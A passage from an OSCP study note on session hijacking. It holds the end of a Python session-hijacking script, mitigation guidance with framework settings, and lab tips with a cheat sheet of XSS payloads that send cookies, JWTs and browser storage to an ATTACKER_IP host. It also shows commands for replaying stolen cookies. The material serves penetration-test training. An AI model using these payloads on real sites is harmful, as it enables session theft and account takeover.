        # Phase 1: Verify
        if not self.verify_session():
            self.log("[-] Attack aborted - session verification failed")
            return False

        # Phase 2: Enumerate
        accessible = self.enumerate_endpoints()
        self.log(f"[*] Found {len(accessible)} accessible endpoints")

        # Phase 3: Extract info
        user_info = self.extract_user_info()
        if user_info:
            self.log(f"[*] Extracted info from {len(user_info)} sources")

        # Phase 4: Report
        self.log("=" * 60)
        self.log("ATTACK SUMMARY")
        self.log("=" * 60)
        self.log(f"Target: {self.target}")
        self.log(f"Accessible Endpoints: {len(accessible)}")
        self.log(f"User Info Sources: {len(user_info)}")
        self.log(f"Log File: {self.log_file}")

        return True

# Usage
if __name__ == "__main__":
    if len(sys.argv) < 3:
        print(f"Usage: {sys.argv[0]} <target_url> <stolen_session_id>")
        sys.exit(1)

    target = sys.argv[1]
    session_id = sys.argv[2]

    hijacker = SessionHijacker(target, session_id)
    hijacker.full_attack()

Mitigation Strategies

1. HttpOnly Flag

What it does: Prevents JavaScript from accessing the cookie via document.cookie.

# VULNERABLE - No HttpOnly flag
Set-Cookie: PHPSESSID=abc123; Path=/

# SECURE - HttpOnly flag set
Set-Cookie: PHPSESSID=abc123; Path=/; HttpOnly

Implementation:

// PHP
ini_set('session.cookie_httponly', 1);
// Or in php.ini:
// session.cookie_httponly = 1
# Python (Flask)
app.config['SESSION_COOKIE_HTTPONLY'] = True

# Python (Django)
SESSION_COOKIE_HTTPONLY = True
// Java (Spring)
http.httpCookie().httpOnly();
// Node.js (Express)
app.use(session({
    cookie: { httpOnly: true }
}));

Effectiveness: Blocks 90%+ of XSS-based cookie theft attempts.

2. Secure Flag

What it does: Ensures the cookie is only sent over HTTPS connections.

Set-Cookie: PHPSESSID=abc123; Path=/; HttpOnly; Secure

Implementation:

ini_set('session.cookie_secure', 1);
# Flask
app.config['SESSION_COOKIE_SECURE'] = True

Effectiveness: Prevents cookie theft via MITM attacks on unencrypted connections.

3. Short Session Timeouts

What it does: Limits the window of opportunity for an attacker to use a stolen session.

// PHP - Set session lifetime to 15 minutes
ini_set('session.gc_maxlifetime', 900);
# Flask
app.config['PERMANENT_SESSION_LIFETIME'] = timedelta(minutes=15)

Best Practices:

  • Interactive sessions: 15-30 minutes
  • Idle timeout: 5-15 minutes
  • Absolute timeout: 8-24 hours
  • Require re-authentication for sensitive actions

4. Session Binding

What it does: Ties the session to specific client characteristics, making stolen sessions unusable from different contexts.

IP Binding

# Bind session to client IP
class IPBoundSession:
    def __init__(self, session_id, client_ip):
        self.session_id = session_id
        self.bound_ip = client_ip

    def validate(self, current_ip):
        return self.bound_ip == current_ip

Caveat: Can break for users behind NAT, proxies, or with dynamic IPs.

User-Agent Binding

# Bind session to User-Agent
class UABoundSession:
    def __init__(self, session_id, user_agent):
        self.session_id = session_id
        self.bound_ua = hashlib.sha256(user_agent.encode()).hexdigest()

    def validate(self, current_ua):
        current_hash = hashlib.sha256(current_ua.encode()).hexdigest()
        return self.bound_ua == current_hash

5. CSRF Tokens

What it does: Prevents cross-site request forgery by requiring a unique token for each form submission.

<!-- Include CSRF token in forms -->
<form method="POST" action="/change-email">
    <input type="hidden" name="_csrf" value="unique_token_per_session">
    <input type="email" name="email">
    <button type="submit">Change Email</button>
</form>
// Include CSRF token in AJAX requests
fetch('/api/update', {
    method: 'POST',
    headers: {
        'Content-Type': 'application/json',
        'X-CSRF-TOKEN': csrfToken  // Token from meta tag or cookie
    },
    body: JSON.stringify({ email: 'new@email.com' })
});

6. Session ID Regeneration After Authentication

What it does: Prevents session fixation by generating a new session ID after login.

// PHP - Regenerate session ID after login
if ($login_successful) {
    session_regenerate_id(true); // true = delete old session
    $_SESSION['authenticated'] = true;
    $_SESSION['user_id'] = $user_id;
}
# Flask
@login_required
def after_login():
    session.regenerate()  # Generate new session ID
// Java (Spring Security)
http.sessionManagement()
    .sessionFixation().migrateSession();

Mitigation Summary Table

Mitigation Protects Against Implementation Difficulty User Impact
HttpOnly XSS cookie theft Easy None
Secure MITM cookie theft Easy Requires HTTPS
Short Timeouts Stale session abuse Medium May require re-login
IP Binding Session reuse from different IP Medium May break for NAT/proxy users
UA Binding Session reuse from different browser Medium May break on browser updates
CSRF Tokens Cross-site request forgery Medium None (transparent)
Session Regeneration Session fixation Easy None
Content Security Policy XSS injection Medium May break inline scripts
SameSite Cookie CSRF, some cookie theft Easy May break legitimate cross-site flows

OSCP Lab Scenarios and Tips

Common OSCP Lab Patterns

Pattern 1: DVWA / bWAPP / Mutillidae

These intentionally vulnerable applications often have:

  • XSS vulnerabilities in search fields, comment forms, and profile pages
  • Session cookies without HttpOnly flag
  • Admin panels accessible via session manipulation
# Typical workflow for these apps
# 1. Find XSS vulnerability
# 2. Inject cookie-stealing payload
# 3. Capture cookie with netcat or Python server
# 4. Use cookie to access admin panel

# Example for DVWA (Low Security)
# XSS in the "Feedback" form:
<script>document.location='http://ATTACKER_IP/steal?cookie='+document.cookie</script>

Pattern 2: Custom Web Applications

Many OSCP machines have custom PHP/Python web apps with:

  • Insecure session management
  • Stored XSS in database-backed applications
  • Admin functionality accessible via session cookies
# Look for these indicators:
# - PHP apps using default session settings
# - Python Flask apps without SESSION_COOKIE_HTTPONLY
# - Custom authentication without proper session handling

# Enumerate the app
gobuster dir -u http://target -w /usr/share/wordlists/dirb/common.txt

# Check for common vulnerable endpoints
curl http://target/search?q=test
curl http://target/profile?name=test
curl http://target/comment?text=test

Pattern 3: JWT-Based Applications

Some machines use JWT tokens stored in localStorage or JavaScript variables:

# 1. Find XSS vulnerability
# 2. Extract JWT from localStorage or window variables
# 3. Decode JWT to understand claims
# 4. Use JWT to access API endpoints

# Extract JWT via XSS
<script>
    new Image().src = "http://ATTACKER_IP/jwt?token=" + localStorage.getItem('token');
</script>

# Use stolen JWT
curl -H "Authorization: Bearer STOLEN_JWT" http://target/api/admin

OSCP-Specific Tips

# Before attempting XSS, check if cookies are vulnerable
curl -v http://target 2>&1 | grep -A2 -i "set-cookie"

# If HttpOnly is missing, cookie theft is possible
# If Secure is missing, cookie can be sent over HTTP

Tip 2: Use Multiple Exfiltration Methods

// Method 1: Image tag (most reliable)
new Image().src = "http://ATTACKER_IP/steal?c=" + document.cookie;

// Method 2: Fetch with no-cors (for larger payloads)
fetch("http://ATTACKER_IP/steal", {method:"POST", body:document.cookie, mode:"no-cors"});

// Method 3: Document location (simple but visible)
document.location = "http://ATTACKER_IP/steal?c=" + document.cookie;

Tip 3: Handle URL Encoding Properly

# When injecting via URL parameter, encode properly
# Original: <script>alert(1)</script>
# URL-encoded: %3Cscript%3Ealert(1)%3C%2Fscript%3E

# For the full cookie theft payload:
# Original: <script>new Image().src="http://ATTACKER_IP/steal?c="+document.cookie</script>
# URL-encoded:
%3Cscript%3Enew%20Image().src%3D%22http%3A%2F%2FATTACKER_IP%2Fsteal%3Fc%3D%22%2Bdocument.cookie%3C%2Fscript%3E
1. Intercept the response with Set-Cookie header
2. Right-click -> Copy as curl command
3. Modify the cookie value
4. Execute the modified request

# Or use Burp's Cookie Editor extension to manage stolen cookies

Tip 5: Document Everything for the Report

## Session Hijacking via XSS

### Vulnerability
- **Type:** Reflected XSS in search parameter
- **Impact:** Session cookie theft leading to account takeover
- **Cookie Attributes:** Missing HttpOnly flag

### Exploitation
1. Injected XSS payload into search parameter
2. Captured session cookie via exfiltration to attacker server
3. Used stolen cookie to access admin dashboard

### Proof
- Cookie captured: `PHPSESSID=abc123...`
- Admin dashboard accessed successfully
- User data extracted: [screenshot]

### Remediation
- Set HttpOnly flag on session cookies
- Implement Content Security Policy
- Validate and encode all user inputs

Common OSCP Machines with Session Hijacking

Machine Vulnerability Type Technique
DVWA Reflected XSS Cookie theft via XSS
bWAPP Stored XSS Cookie theft via XSS
Mutillidae XSS in multiple locations Cookie theft
Hackable Custom web app Session manipulation
Bloberty XSS + session Cookie theft
Optimum Web app vulnerabilities Multiple techniques

Time-Saving Strategies

  1. Quick cookie check: Always check HttpOnly first — if present, cookie theft won’t work
  2. Pre-built payloads: Keep a list of ready-to-use XSS payloads for cookie theft
  3. Automated capture: Use the Python cookie catcher script instead of manual netcat
  4. Browser dev tools: Use browser console to test document.cookie access before full exploitation

Quick Reference Cheat Sheet

// Basic
<script>new Image().src="http://ATTACKER_IP/steal?c="+document.cookie</script>

// With encoding
<script>new Image().src="http://ATTACKER_IP/steal?c="+encodeURIComponent(document.cookie)</script>

// POST method
<script>fetch("http://ATTACKER_IP/steal",{method:"POST",body:document.cookie,mode:"no-cors"})</script>

// All storage
<script>
var d={cookie:document.cookie,ls:{},ss:{}};
for(var i=0;i<localStorage.length;i++)d.ls[localStorage.key(i)]=localStorage.getItem(localStorage.key(i));
for(var i=0;i<sessionStorage.length;i++)d.ss[sessionStorage.key(i)]=sessionStorage.getItem(sessionStorage.key(i));
new Image().src="http://ATTACKER_IP/steal?d="+btoa(JSON.stringify(d));
</script>
# curl with cookie
curl -b "PHPSESSID=abc123" http://target/dashboard

# curl with cookie file
echo "PHPSESSID=abc123" > cookie.txt
curl -b cookie.txt http://target/dashboard

# Python requests
python3 -c "import requests; print(requests.get('http://target', cookies={'PHPSESSID':'abc123'}).text)"

# wget
wget --header="Cookie: PHPSESSID=abc123" http://target/dashboard

JWT Commands

# Decode JWT (header)
echo "TOKEN" | cut -d. -f1 | base64 -d 2>/dev/null; echo

# Decode JWT (payload)
echo "TOKEN" | cut -d. -f2 | base64 -d 2>/dev/null; echo

# Use JWT
curl -H "Authorization: Bearer TOKEN" http://target/api/user

Detection Checklist

□ Check cookie attributes (HttpOnly, Secure, SameSite)
□ Test for XSS in all input fields
□ Check if session ID is in URL parameters
□ Look for tokens in JavaScript variables
□ Check localStorage and sessionStorage
□ Verify session regeneration after login
□ Test for session fixation
□ Check session timeout configuration

References


This study note is part of the OSCP Client-Side Attacks chapter. For best results, practice each technique in a lab environment and document your findings for report writing practice.